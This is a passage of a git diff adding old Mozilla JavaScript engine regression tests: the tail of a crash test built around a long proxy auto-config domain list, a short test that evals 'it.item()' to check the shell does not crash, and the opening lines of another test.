+ || dnsDomainIs(host, "www.floodlight-findings.com")
+ || dnsDomainIs(host, "www.floridahistory.com")
+ || dnsDomainIs(host, "www.floridapanthers.com")
+ || dnsDomainIs(host, "www.fng.fi")
+ || dnsDomainIs(host, "www.foodsci.uoguelph.ca")
+ || dnsDomainIs(host, "www.foremost.com")
+ || dnsDomainIs(host, "www.fortress.am")
+ || dnsDomainIs(host, "www.fortunecity.com")
+ || dnsDomainIs(host, "www.fosterclub.com")
+ || dnsDomainIs(host, "www.foundus.com")
+ || dnsDomainIs(host, "www.fourmilab.ch")
+ || dnsDomainIs(host, "www.fox.com")
+ || dnsDomainIs(host, "www.foxfamilychannel.com")
+ || dnsDomainIs(host, "www.foxhome.com")
+ || dnsDomainIs(host, "www.foxkids.com")
+ || dnsDomainIs(host, "www.franceway.com")
+ || dnsDomainIs(host, "www.fred.net")
+ || dnsDomainIs(host, "www.fredpenner.com")
+ || dnsDomainIs(host, "www.freedomknot.com")
+ || dnsDomainIs(host, "www.freejigsawpuzzles.com")
+ || dnsDomainIs(host, "www.freenet.edmonton.ab.ca")
+ || dnsDomainIs(host, "www.frii.com")
+ || dnsDomainIs(host, "www.frisbee.com")
+ || dnsDomainIs(host, "www.fritolay.com")
+ || dnsDomainIs(host, "www.frogsonice.com")
+ || dnsDomainIs(host, "www.frontiernet.net")
+ || dnsDomainIs(host, "www.fs.fed.us")
+ || dnsDomainIs(host, "www.funattic.com")
+ || dnsDomainIs(host, ".funbrain.com")
+ || dnsDomainIs(host, "www.fundango.com")
+ || dnsDomainIs(host, "www.funisland.com")
+ || dnsDomainIs(host, "www.funkandwagnalls.com")
+ || dnsDomainIs(host, "www.funorama.com")
+ || dnsDomainIs(host, "www.funschool.com")
+ || dnsDomainIs(host, "www.funster.com")
+ || dnsDomainIs(host, "www.furby.com")
+ || dnsDomainIs(host, "www.fusion.org.uk")
+ || dnsDomainIs(host, "www.futcher.com")
+ || dnsDomainIs(host, "www.futurescan.com")
+ || dnsDomainIs(host, "www.fyi.net")
+ || dnsDomainIs(host, "www.gailgibbons.com")
+ || dnsDomainIs(host, "www.galegroup.com")
+ || dnsDomainIs(host, "www.gambia.com")
+ || dnsDomainIs(host, "www.gamecabinet.com")
+ || dnsDomainIs(host, "www.gamecenter.com")
+ || dnsDomainIs(host, "www.gamefaqs.com")
+ || dnsDomainIs(host, "www.garfield.com")
+ || dnsDomainIs(host, "www.garyharbo.com")
+ || dnsDomainIs(host, "www.gatefish.com")
+ || dnsDomainIs(host, "www.gateway-va.com")
+ || dnsDomainIs(host, "www.gazillionaire.com")
+ || dnsDomainIs(host, "www.gearhead.com")
+ || dnsDomainIs(host, "www.genesplicing.com")
+ || dnsDomainIs(host, "www.genhomepage.com")
+ || dnsDomainIs(host, "www.geobop.com")
+ || dnsDomainIs(host, "www.geocities.com")
+ || dnsDomainIs(host, "www.geographia.com")
+ || dnsDomainIs(host, "www.georgeworld.com")
+ || dnsDomainIs(host, "www.georgian.net")
+ || dnsDomainIs(host, "www.german-way.com")
+ || dnsDomainIs(host, "www.germanfortravellers.com")
+ || dnsDomainIs(host, "www.germantown.k12.il.us")
+ || dnsDomainIs(host, "www.germany-tourism.de")
+ || dnsDomainIs(host, "www.getmusic.com")
+ || dnsDomainIs(host, "www.gettysburg.com")
+ || dnsDomainIs(host, "www.ghirardellisq.com")
+ || dnsDomainIs(host, "www.ghosttowngallery.com")
+ || dnsDomainIs(host, "www.ghosttownsusa.com")
+ || dnsDomainIs(host, "www.giants.com")
+ || dnsDomainIs(host, "www.gibraltar.gi")
+ || dnsDomainIs(host, "www.gigglepoetry.com")
+ || dnsDomainIs(host, "www.gilchriststudios.com")
+ || dnsDomainIs(host, "www.gillslap.freeserve.co.uk")
+ || dnsDomainIs(host, "www.gilmer.net")
+ || dnsDomainIs(host, "www.gio.gov.tw")
+ || dnsDomainIs(host, "www.girltech.com")
+ || dnsDomainIs(host, "www.girlzone.com")
+ || dnsDomainIs(host, "www.globalgang.org.uk")
+ || dnsDomainIs(host, "www.globalindex.com")
+ || dnsDomainIs(host, "www.globalinfo.com")
+ || dnsDomainIs(host, "www.gloriafan.com")
+ || dnsDomainIs(host, "www.gms.ocps.k12.fl.us")
+ || dnsDomainIs(host, "www.go-go-diggity.com")
+ || dnsDomainIs(host, "www.goals.com")
+ || dnsDomainIs(host, "www.godiva.com")
+ || dnsDomainIs(host, "www.golden-retriever.com")
+ || dnsDomainIs(host, "www.goldenbooks.com")
+ || dnsDomainIs(host, "www.goldeneggs.com.au")
+ || dnsDomainIs(host, "www.golfonline.com")
+ || dnsDomainIs(host, "www.goobo.com")
+ || dnsDomainIs(host, "www.goodearthgraphics.com")
+ || dnsDomainIs(host, "www.goodyear.com")
+ || dnsDomainIs(host, "www.gopbi.com")
+ || dnsDomainIs(host, "www.gorge.net")
+ || dnsDomainIs(host, "www.gorp.com")
+ || dnsDomainIs(host, "www.got-milk.com")
+ || dnsDomainIs(host, "www.gov.ab.ca")
+ || dnsDomainIs(host, "www.gov.nb.ca")
+ || dnsDomainIs(host, "www.grammarbook.com")
+ || dnsDomainIs(host, "www.grammarlady.com")
+ || dnsDomainIs(host, "www.grandparents-day.com")
+ || dnsDomainIs(host, "www.granthill.com")
+ || dnsDomainIs(host, "www.grayweb.com")
+ || dnsDomainIs(host, "www.greatbuildings.com")
+ || dnsDomainIs(host, "www.greatkids.com")
+ || dnsDomainIs(host, "www.greatscience.com")
+ || dnsDomainIs(host, "www.greeceny.com")
+ || dnsDomainIs(host, "www.greenkeepers.com")
+ || dnsDomainIs(host, "www.greylabyrinth.com")
+ || dnsDomainIs(host, "www.grimmy.com")
+ || dnsDomainIs(host, "www.gsrg.nmh.ac.uk")
+ || dnsDomainIs(host, "www.gti.net")
+ || dnsDomainIs(host, "www.guinnessworldrecords.com")
+ || dnsDomainIs(host, "www.guitar.net")
+ || dnsDomainIs(host, "www.guitarplaying.com")
+ || dnsDomainIs(host, "www.gumbyworld.com")
+ || dnsDomainIs(host, "www.gurlwurld.com")
+ || dnsDomainIs(host, "www.gwi.net")
+ || dnsDomainIs(host, "www.gymn-forum.com")
+ || dnsDomainIs(host, "www.gzkidzone.com")
+ || dnsDomainIs(host, "www.haemibalgassi.com")
+ || dnsDomainIs(host, "www.hairstylist.com")
+ || dnsDomainIs(host, "www.halcyon.com")
+ || dnsDomainIs(host, "www.halifax.cbc.ca")
+ || dnsDomainIs(host, "www.halloween-online.com")
+ || dnsDomainIs(host, "www.halloweenkids.com")
+ || dnsDomainIs(host, "www.halloweenmagazine.com")
+ || dnsDomainIs(host, "www.hamill.co.uk")
+ || dnsDomainIs(host, "www.hamsterdance2.com")
+ || dnsDomainIs(host, "www.hamsters.co.uk")
+ || dnsDomainIs(host, "www.hamstertours.com")
+ || dnsDomainIs(host, "www.handsonmath.com")
+ || dnsDomainIs(host, "www.handspeak.com")
+ || dnsDomainIs(host, "www.hansonline.com")
+ || dnsDomainIs(host, "www.happychild.org.uk")
+ || dnsDomainIs(host, "www.happyfamilies.com")
+ || dnsDomainIs(host, "www.happytoy.com")
+ || dnsDomainIs(host, "www.harley-davidson.com")
+ || dnsDomainIs(host, "www.harmonicalessons.com")
+ || dnsDomainIs(host, "www.harperchildrens.com")
+ || dnsDomainIs(host, "www.harvey.com")
+ || dnsDomainIs(host, "www.hasbro-interactive.com")
+ || dnsDomainIs(host, "www.haynet.net")
+ || dnsDomainIs(host, "www.hbc.com")
+ || dnsDomainIs(host, "www.hblewis.com")
+ || dnsDomainIs(host, "www.hbook.com")
+ || dnsDomainIs(host, "www.he.net")
+ || dnsDomainIs(host, "www.headbone.com")
+ || dnsDomainIs(host, "www.healthatoz.com")
+ || dnsDomainIs(host, "www.healthypet.com")
+ || dnsDomainIs(host, "www.heartfoundation.com.au")
+ || dnsDomainIs(host, "www.heatersworld.com")
+ || dnsDomainIs(host, "www.her-online.com")
+ || dnsDomainIs(host, "www.heroesofhistory.com")
+ || dnsDomainIs(host, "www.hersheypa.com")
+ || dnsDomainIs(host, "www.hersheys.com")
+ || dnsDomainIs(host, "www.hevanet.com")
+ || dnsDomainIs(host, "www.heynetwork.com")
+ || dnsDomainIs(host, "www.hgo.com")
+ || dnsDomainIs(host, "www.hhof.com")
+ || dnsDomainIs(host, "www.hideandseekpuppies.com")
+ || dnsDomainIs(host, "www.hifusion.com")
+ || dnsDomainIs(host, "www.highbridgepress.com")
+ || dnsDomainIs(host, "www.his.com")
+ || dnsDomainIs(host, "www.history.navy.mil")
+ || dnsDomainIs(host, "www.historychannel.com")
+ || dnsDomainIs(host, "www.historyhouse.com")
+ || dnsDomainIs(host, "www.historyplace.com")
+ || dnsDomainIs(host, "www.hisurf.com")
+ || dnsDomainIs(host, "www.hiyah.com")
+ || dnsDomainIs(host, "www.hmnet.com")
+ || dnsDomainIs(host, "www.hoboes.com")
+ || dnsDomainIs(host, "www.hockeydb.com")
+ || dnsDomainIs(host, "www.hohnerusa.com")
+ || dnsDomainIs(host, "www.holidaychannel.com")
+ || dnsDomainIs(host, "www.holidayfestival.com")
+ || dnsDomainIs(host, "www.holidays.net")
+ || dnsDomainIs(host, "www.hollywood.com")
+ || dnsDomainIs(host, "www.holoworld.com")
+ || dnsDomainIs(host, "www.homepagers.com")
+ || dnsDomainIs(host, "www.homeschoolzone.com")
+ || dnsDomainIs(host, "www.homestead.com")
+ || dnsDomainIs(host, "www.homeworkspot.com")
+ || dnsDomainIs(host, "www.hompro.com")
+ || dnsDomainIs(host, "www.honey.com")
+ || dnsDomainIs(host, "www.hooked.net")
+ || dnsDomainIs(host, "www.hoophall.com")
+ || dnsDomainIs(host, "www.hooverdam.com")
+ || dnsDomainIs(host, "www.hopepaul.com")
+ || dnsDomainIs(host, "www.horse-country.com")
+ || dnsDomainIs(host, "www.horsechat.com")
+ || dnsDomainIs(host, "www.horsefun.com")
+ || dnsDomainIs(host, "www.horus.ics.org.eg")
+ || dnsDomainIs(host, "www.hotbraille.com")
+ || dnsDomainIs(host, "www.hotwheels.com")
+ || dnsDomainIs(host, "www.howstuffworks.com")
+ || dnsDomainIs(host, "www.hpdigitalbookclub.com")
+ || dnsDomainIs(host, "www.hpj.com")
+ || dnsDomainIs(host, "www.hpl.hp.com")
+ || dnsDomainIs(host, "www.hpl.lib.tx.us")
+ || dnsDomainIs(host, "www.hpnetwork.f2s.com")
+ || dnsDomainIs(host, "www.hsswp.com")
+ || dnsDomainIs(host, "www.hsx.com")
+ || dnsDomainIs(host, "www.humboldt1.com")
+ || dnsDomainIs(host, "www.humongous.com")
+ || dnsDomainIs(host, "www.humph3.freeserve.co.uk")
+ || dnsDomainIs(host, "www.humphreybear.com ")
+ || dnsDomainIs(host, "www.hurricanehunters.com")
+ || dnsDomainIs(host, "www.hyperhistory.com")
+ || dnsDomainIs(host, "www.i2k.com")
+ || dnsDomainIs(host, "www.ibhof.com")
+ || dnsDomainIs(host, "www.ibiscom.com")
+ || dnsDomainIs(host, "www.ibm.com")
+ || dnsDomainIs(host, "www.icangarden.com")
+ || dnsDomainIs(host, "www.icecreamusa.com")
+ || dnsDomainIs(host, "www.icn.co.uk")
+ || dnsDomainIs(host, "www.icomm.ca")
+ || dnsDomainIs(host, "www.idfishnhunt.com")
+ || dnsDomainIs(host, "www.iditarod.com")
+ || dnsDomainIs(host, "www.iei.net")
+ || dnsDomainIs(host, "www.iemily.com")
+ || dnsDomainIs(host, "www.iir.com")
+ || dnsDomainIs(host, "www.ika.com")
+ || dnsDomainIs(host, "www.ikoala.com")
+ || dnsDomainIs(host, "www.iln.net")
+ || dnsDomainIs(host, "www.imagine5.com")
+ || dnsDomainIs(host, "www.imes.boj.or.jp")
+ || dnsDomainIs(host, "www.inch.com")
+ || dnsDomainIs(host, "www.incwell.com")
+ || dnsDomainIs(host, "www.indian-river.fl.us")
+ || dnsDomainIs(host, "www.indians.com")
+ || dnsDomainIs(host, "www.indo.com")
+ || dnsDomainIs(host, "www.indyracingleague.com")
+ || dnsDomainIs(host, "www.indyzoo.com")
+ || dnsDomainIs(host, "www.info-canada.com")
+ || dnsDomainIs(host, "www.infomagic.net")
+ || dnsDomainIs(host, "www.infoplease.com")
+ || dnsDomainIs(host, "www.infoporium.com")
+ || dnsDomainIs(host, "www.infostuff.com")
+ || dnsDomainIs(host, "www.inhandmuseum.com")
+ || dnsDomainIs(host, "www.inil.com")
+ || dnsDomainIs(host, "www.inkspot.com")
+ || dnsDomainIs(host, "www.inkyfingers.com")
+ || dnsDomainIs(host, "www.innerauto.com")
+ || dnsDomainIs(host, "www.innerbody.com")
+ || dnsDomainIs(host, "www.inqpub.com")
+ || dnsDomainIs(host, "www.insecta-inspecta.com")
+ || dnsDomainIs(host, "www.insectclopedia.com")
+ || dnsDomainIs(host, "www.inside-mexico.com")
+ || dnsDomainIs(host, "www.insiders.com")
+ || dnsDomainIs(host, "www.insteam.com")
+ || dnsDomainIs(host, "www.intel.com")
+ || dnsDomainIs(host, "www.intellicast.com")
+ || dnsDomainIs(host, "www.interads.co.uk")
+ || dnsDomainIs(host, "www.intercot.com")
+ || dnsDomainIs(host, "www.intergraffix.com")
+ || dnsDomainIs(host, "www.interknowledge.com")
+ || dnsDomainIs(host, "www.interlog.com")
+ || dnsDomainIs(host, "www.internet4kids.com")
+ || dnsDomainIs(host, "www.intersurf.com")
+ || dnsDomainIs(host, "www.inthe80s.com")
+ || dnsDomainIs(host, "www.inventorsmuseum.com")
+ || dnsDomainIs(host, "www.inwap.com")
+ || dnsDomainIs(host, "www.ioa.com")
+ || dnsDomainIs(host, "www.ionet.net")
+ || dnsDomainIs(host, "www.iowacity.com")
+ || dnsDomainIs(host, "www.ireland-now.com")
+ || dnsDomainIs(host, "www.ireland.com")
+ || dnsDomainIs(host, "www.irelandseye.com")
+ || dnsDomainIs(host, "www.irlgov.ie")
+ || dnsDomainIs(host, "www.isd.net")
+ || dnsDomainIs(host, "www.islandnet.com")
+ || dnsDomainIs(host, "www.isomedia.com")
+ || dnsDomainIs(host, "www.itftennis.com")
+ || dnsDomainIs(host, "www.itpi.dpi.state.nc.us")
+ || dnsDomainIs(host, "www.itskwanzaatime.com")
+ || dnsDomainIs(host, "www.itss.raytheon.com")
+ || dnsDomainIs(host, "www.iuma.com")
+ || dnsDomainIs(host, "www.iwaynet.net")
+ || dnsDomainIs(host, "www.iwc.com")
+ || dnsDomainIs(host, "www.iwight.gov.uk")
+ || dnsDomainIs(host, "www.ixpres.com")
+ || dnsDomainIs(host, "www.j.b.allen.btinternet.co.uk")
+ || dnsDomainIs(host, "www.jabuti.com")
+ || dnsDomainIs(host, "www.jackinthebox.com")
+ || dnsDomainIs(host, "www.jaffebros.com")
+ || dnsDomainIs(host, "www.jaguars.com")
+ || dnsDomainIs(host, "www.jamaica-gleaner.com")
+ || dnsDomainIs(host, "www.jamm.com")
+ || dnsDomainIs(host, "www.janbrett.com")
+ || dnsDomainIs(host, "www.janetstevens.com")
+ || dnsDomainIs(host, "www.japan-guide.com")
+ || dnsDomainIs(host, "www.jargon.net")
+ || dnsDomainIs(host, "www.javelinamx.com")
+ || dnsDomainIs(host, "www.jayjay.com")
+ || dnsDomainIs(host, "www.jazclass.aust.com")
+ || dnsDomainIs(host, "www.jedinet.com")
+ || dnsDomainIs(host, "www.jenniferlopez.com")
+ || dnsDomainIs(host, "www.jlpanagopoulos.com")
+ || dnsDomainIs(host, "www.jmarshall.com")
+ || dnsDomainIs(host, "www.jmccall.demon.co.uk")
+ || dnsDomainIs(host, "www.jmts.com")
+ || dnsDomainIs(host, "www.joesherlock.com")
+ || dnsDomainIs(host, "www.jorvik-viking-centre.co.uk")
+ || dnsDomainIs(host, "www.joycecarolthomas.com")
+ || dnsDomainIs(host, "www.joycone.com")
+ || dnsDomainIs(host, "www.joyrides.com")
+ || dnsDomainIs(host, "www.jps.net")
+ || dnsDomainIs(host, "www.jspub.com")
+ || dnsDomainIs(host, "www.judaica.com")
+ || dnsDomainIs(host, "www.judyblume.com")
+ || dnsDomainIs(host, "www.julen.net")
+ || dnsDomainIs(host, "www.june29.com")
+ || dnsDomainIs(host, "www.juneteenth.com")
+ || dnsDomainIs(host, "www.justuskidz.com")
+ || dnsDomainIs(host, "www.justwomen.com")
+ || dnsDomainIs(host, "www.jwindow.net")
+ || dnsDomainIs(host, "www.k9web.com")
+ || dnsDomainIs(host, "www.kaercher.de")
+ || dnsDomainIs(host, "www.kaleidoscapes.com")
+ || dnsDomainIs(host, "www.kapili.com")
+ || dnsDomainIs(host, "www.kcchiefs.com")
+ || dnsDomainIs(host, "www.kcpl.lib.mo.us")
+ || dnsDomainIs(host, "www.kcroyals.com")
+ || dnsDomainIs(host, "www.kcsd.k12.pa.us")
+ || dnsDomainIs(host, "www.kdu.com")
+ || dnsDomainIs(host, "www.kelloggs.com")
+ || dnsDomainIs(host, "www.kentuckyfriedchicken.com")
+ || dnsDomainIs(host, "www.kenyaweb.com")
+ || dnsDomainIs(host, "www.keypals.com")
+ || dnsDomainIs(host, "www.kfn.com")
+ || dnsDomainIs(host, "www.kid-at-art.com")
+ || dnsDomainIs(host, "www.kid-channel.com")
+ || dnsDomainIs(host, "www.kidallergy.com")
+ || dnsDomainIs(host, "www.kidbibs.com")
+ || dnsDomainIs(host, "www.kidcomics.com")
+ || dnsDomainIs(host, "www.kiddesafety.com")
+ || dnsDomainIs(host, "www.kiddiecampus.com")
+ || dnsDomainIs(host, "www.kididdles.com")
+ || dnsDomainIs(host, "www.kidnews.com")
+ || dnsDomainIs(host, "www.kidocracy.com")
+ || dnsDomainIs(host, "www.kidport.com")
+ || dnsDomainIs(host, "www.kids-channel.co.uk")
+ || dnsDomainIs(host, "www.kids-drawings.com")
+ || dnsDomainIs(host, "www.kids-in-mind.com")
+ || dnsDomainIs(host, "www.kids4peace.com")
+ || dnsDomainIs(host, "www.kidsandcomputers.com")
+ || dnsDomainIs(host, "www.kidsart.co.uk")
+ || dnsDomainIs(host, "www.kidsastronomy.com")
+ || dnsDomainIs(host, "www.kidsbank.com")
+ || dnsDomainIs(host, "www.kidsbookshelf.com")
+ || dnsDomainIs(host, "www.kidsclick.com")
+ || dnsDomainIs(host, "www.kidscom.com")
+ || dnsDomainIs(host, "www.kidscook.com")
+ || dnsDomainIs(host, "www.kidsdoctor.com")
+ || dnsDomainIs(host, "www.kidsdomain.com")
+ || dnsDomainIs(host, "www.kidsfarm.com")
+ || dnsDomainIs(host, "www.kidsfreeware.com")
+ || dnsDomainIs(host, "www.kidsfun.tv")
+ || dnsDomainIs(host, "www.kidsgolf.com")
+ || dnsDomainIs(host, "www.kidsgowild.com")
+ || dnsDomainIs(host, "www.kidsjokes.com")
+ || dnsDomainIs(host, "www.kidsloveamystery.com")
+ || dnsDomainIs(host, "www.kidsmoneycents.com")
+ || dnsDomainIs(host, "www.kidsnewsroom.com")
+ || dnsDomainIs(host, "www.kidsource.com")
+ || dnsDomainIs(host, "www.kidsparties.com")
+ || dnsDomainIs(host, "www.kidsplaytown.com")
+ || dnsDomainIs(host, "www.kidsreads.com")
+ || dnsDomainIs(host, "www.kidsreport.com")
+ || dnsDomainIs(host, "www.kidsrunning.com")
+ || dnsDomainIs(host, "www.kidstamps.com")
+ || dnsDomainIs(host, "www.kidsvideogames.com")
+ || dnsDomainIs(host, "www.kidsway.com")
+ || dnsDomainIs(host, "www.kidswithcancer.com")
+ || dnsDomainIs(host, "www.kidszone.ourfamily.com")
+ || dnsDomainIs(host, "www.kidzup.com")
+ || dnsDomainIs(host, "www.kinderart.com")
+ || dnsDomainIs(host, "www.kineticcity.com")
+ || dnsDomainIs(host, "www.kings.k12.ca.us")
+ || dnsDomainIs(host, "www.kiplinger.com")
+ || dnsDomainIs(host, "www.kiwirecovery.org.nz")
+ || dnsDomainIs(host, "www.klipsan.com")
+ || dnsDomainIs(host, "www.klutz.com")
+ || dnsDomainIs(host, "www.kn.pacbell.com")
+ || dnsDomainIs(host, "www.knex.com")
+ || dnsDomainIs(host, "www.knowledgeadventure.com")
+ || dnsDomainIs(host, "www.knto.or.kr")
+ || dnsDomainIs(host, "www.kodak.com")
+ || dnsDomainIs(host, "www.konica.co.jp")
+ || dnsDomainIs(host, "www.kraftfoods.com")
+ || dnsDomainIs(host, "www.kudzukids.com")
+ || dnsDomainIs(host, "www.kulichki.com")
+ || dnsDomainIs(host, "www.kuttu.com")
+ || dnsDomainIs(host, "www.kv5.com")
+ || dnsDomainIs(host, "www.kyes-world.com")
+ || dnsDomainIs(host, "www.kyohaku.go.jp")
+ || dnsDomainIs(host, "www.kyrene.k12.az.us")
+ || dnsDomainIs(host, "www.kz")
+ || dnsDomainIs(host, "www.la-hq.org.uk")
+ || dnsDomainIs(host, "www.labs.net")
+ || dnsDomainIs(host, "www.labyrinth.net.au")
+ || dnsDomainIs(host, "www.laffinthedark.com")
+ || dnsDomainIs(host, "www.lakhota.com")
+ || dnsDomainIs(host, "www.lakings.com")
+ || dnsDomainIs(host, "www.lam.mus.ca.us")
+ || dnsDomainIs(host, "www.lampstras.k12.pa.us")
+ || dnsDomainIs(host, "www.lams.losalamos.k12.nm.us")
+ || dnsDomainIs(host, "www.landofcadbury.ca")
+ || dnsDomainIs(host, "www.larry-boy.com")
+ || dnsDomainIs(host, "www.lasersite.com")
+ || dnsDomainIs(host, "www.last-word.com")
+ || dnsDomainIs(host, "www.latimes.com")
+ || dnsDomainIs(host, "www.laughon.com")
+ || dnsDomainIs(host, "www.laurasmidiheaven.com")
+ || dnsDomainIs(host, "www.lausd.k12.ca.us")
+ || dnsDomainIs(host, "www.learn2.com")
+ || dnsDomainIs(host, "www.learn2type.com")
+ || dnsDomainIs(host, "www.learnfree-hobbies.com")
+ || dnsDomainIs(host, "www.learningkingdom.com")
+ || dnsDomainIs(host, "www.learningplanet.com")
+ || dnsDomainIs(host, "www.leftjustified.com")
+ || dnsDomainIs(host, "www.legalpadjr.com")
+ || dnsDomainIs(host, "www.legendarysurfers.com")
+ || dnsDomainIs(host, "www.legends.dm.net")
+ || dnsDomainIs(host, "www.legis.state.wi.us")
+ || dnsDomainIs(host, "www.legis.state.wv.us")
+ || dnsDomainIs(host, "www.lego.com")
+ || dnsDomainIs(host, "www.leje.com")
+ || dnsDomainIs(host, "www.leonardodicaprio.com")
+ || dnsDomainIs(host, "www.lessonplanspage.com")
+ || dnsDomainIs(host, "www.letour.fr")
+ || dnsDomainIs(host, "www.levins.com")
+ || dnsDomainIs(host, "www.levistrauss.com")
+ || dnsDomainIs(host, "www.libertystatepark.com")
+ || dnsDomainIs(host, "www.libraryspot.com")
+ || dnsDomainIs(host, "www.lifelong.com")
+ || dnsDomainIs(host, "www.lighthouse.cc")
+ || dnsDomainIs(host, "www.lightlink.com")
+ || dnsDomainIs(host, "www.lightspan.com")
+ || dnsDomainIs(host, "www.lil-fingers.com")
+ || dnsDomainIs(host, "www.linc.or.jp")
+ || dnsDomainIs(host, "www.lindsaysbackyard.com")
+ || dnsDomainIs(host, "www.lindtchocolate.com")
+ || dnsDomainIs(host, "www.lineone.net")
+ || dnsDomainIs(host, "www.lionel.com")
+ || dnsDomainIs(host, "www.lisafrank.com")
+ || dnsDomainIs(host, "www.lissaexplains.com")
+ || dnsDomainIs(host, "www.literacycenter.net")
+ || dnsDomainIs(host, "www.littleartist.com")
+ || dnsDomainIs(host, "www.littlechiles.com")
+ || dnsDomainIs(host, "www.littlecritter.com")
+ || dnsDomainIs(host, "www.littlecrowtoys.com")
+ || dnsDomainIs(host, "www.littlehousebooks.com")
+ || dnsDomainIs(host, "www.littlejason.com")
+ || dnsDomainIs(host, "www.littleplanettimes.com")
+ || dnsDomainIs(host, "www.liveandlearn.com")
+ || dnsDomainIs(host, "www.loadstar.prometeus.net")
+ || dnsDomainIs(host, "www.localaccess.com")
+ || dnsDomainIs(host, "www.lochness.co.uk")
+ || dnsDomainIs(host, "www.lochness.scotland.net")
+ || dnsDomainIs(host, "www.logos.it")
+ || dnsDomainIs(host, "www.lonelyplanet.com")
+ || dnsDomainIs(host, "www.looklearnanddo.com")
+ || dnsDomainIs(host, "www.loosejocks.com")
+ || dnsDomainIs(host, "www.lost-worlds.com")
+ || dnsDomainIs(host, "www.love-story.com")
+ || dnsDomainIs(host, "www.lpga.com")
+ || dnsDomainIs(host, "www.lsjunction.com")
+ || dnsDomainIs(host, "www.lucasarts.com")
+ || dnsDomainIs(host, "www.lucent.com")
+ || dnsDomainIs(host, "www.lucie.com")
+ || dnsDomainIs(host, "www.lunaland.co.za")
+ || dnsDomainIs(host, "www.luth.se")
+ || dnsDomainIs(host, "www.lyricalworks.com")
+ || dnsDomainIs(host, "www.infoporium.com")
+ || dnsDomainIs(host, "www.infostuff.com")
+ || dnsDomainIs(host, "www.inhandmuseum.com")
+ || dnsDomainIs(host, "www.inil.com")
+ || dnsDomainIs(host, "www.inkspot.com")
+ || dnsDomainIs(host, "www.inkyfingers.com")
+ || dnsDomainIs(host, "www.innerauto.com")
+ || dnsDomainIs(host, "www.innerbody.com")
+ || dnsDomainIs(host, "www.inqpub.com")
+ || dnsDomainIs(host, "www.insecta-inspecta.com")
+ || dnsDomainIs(host, "www.insectclopedia.com")
+ || dnsDomainIs(host, "www.inside-mexico.com")
+ || dnsDomainIs(host, "www.insiders.com")
+ || dnsDomainIs(host, "www.insteam.com")
+ || dnsDomainIs(host, "www.intel.com")
+ || dnsDomainIs(host, "www.intellicast.com")
+ || dnsDomainIs(host, "www.interads.co.uk")
+ || dnsDomainIs(host, "www.intercot.com")
+ || dnsDomainIs(host, "www.intergraffix.com")
+ || dnsDomainIs(host, "www.interknowledge.com")
+ || dnsDomainIs(host, "www.interlog.com")
+ || dnsDomainIs(host, "www.internet4kids.com")
+ || dnsDomainIs(host, "www.intersurf.com")
+ || dnsDomainIs(host, "www.inthe80s.com")
+ || dnsDomainIs(host, "www.inventorsmuseum.com")
+ || dnsDomainIs(host, "www.inwap.com")
+ || dnsDomainIs(host, "www.ioa.com")
+ || dnsDomainIs(host, "www.ionet.net")
+ || dnsDomainIs(host, "www.iowacity.com")
+ || dnsDomainIs(host, "www.ireland-now.com")
+ || dnsDomainIs(host, "www.ireland.com")
+ || dnsDomainIs(host, "www.irelandseye.com")
+ || dnsDomainIs(host, "www.irlgov.ie")
+ || dnsDomainIs(host, "www.isd.net")
+ || dnsDomainIs(host, "www.islandnet.com")
+ || dnsDomainIs(host, "www.isomedia.com")
+ || dnsDomainIs(host, "www.itftennis.com")
+ || dnsDomainIs(host, "www.itpi.dpi.state.nc.us")
+ || dnsDomainIs(host, "www.itskwanzaatime.com")
+ || dnsDomainIs(host, "www.itss.raytheon.com")
+ || dnsDomainIs(host, "www.iuma.com")
+ || dnsDomainIs(host, "www.iwaynet.net")
+ || dnsDomainIs(host, "www.iwc.com")
+ || dnsDomainIs(host, "www.iwight.gov.uk")
+ || dnsDomainIs(host, "www.ixpres.com")
+ || dnsDomainIs(host, "www.j.b.allen.btinternet.co.uk")
+ || dnsDomainIs(host, "www.jabuti.com")
+ || dnsDomainIs(host, "www.jackinthebox.com")
+ || dnsDomainIs(host, "www.jaffebros.com")
+ || dnsDomainIs(host, "www.jaguars.com")
+ || dnsDomainIs(host, "www.jamaica-gleaner.com")
+ || dnsDomainIs(host, "www.jamm.com")
+ || dnsDomainIs(host, "www.janbrett.com")
+ || dnsDomainIs(host, "www.janetstevens.com")
+ || dnsDomainIs(host, "www.japan-guide.com")
+ || dnsDomainIs(host, "www.jargon.net")
+ || dnsDomainIs(host, "www.javelinamx.com")
+ || dnsDomainIs(host, "www.jayjay.com")
+ || dnsDomainIs(host, "www.jazclass.aust.com")
+
+ )
+ return "PROXY proxy.hclib.org:80";
+ else
+ return "PROXY 172.16.100.20:8080";
+}
+
+reportCompare('No Crash', 'No Crash', '');
diff --git a/js/src/tests/js1_5/Regress/regress-89474.js b/js/src/tests/js1_5/Regress/regress-89474.js
new file mode 100644
index 000000000..05ead3d4d
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-89474.js
@@ -0,0 +1,50 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 07 July 2001
+ *
+ * SUMMARY: Regression test for Bugzilla bug 89474
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=89474
+ *
+ * This test used to crash the JS shell. This was discovered
+ * by Darren DeRidder <darren.deridder@icarusproject.com
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 89474;
+var summary = "Testing the JS shell doesn't crash on it.item()";
+var cnTest = 'it.item()';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ tryThis(cnTest); // Just testing that we don't crash on this
+
+ reportCompare('No Crash', 'No Crash', '');
+
+ exitFunc ('test');
+}
+
+
+function tryThis(sEval)
+{
+ try
+ {
+ eval(sEval);
+ }
+ catch(e)
+ {
+ // If we get here, we didn't crash.
+ }
+}
diff --git a/js/src/tests/js1_5/Regress/regress-90445.js b/js/src/tests/js1_5/Regress/regress-90445.js
new file mode 100644
index 000000000..c20fb1636
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-90445.js
@@ -0,0 +1,295 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 2001-07-12
+ *
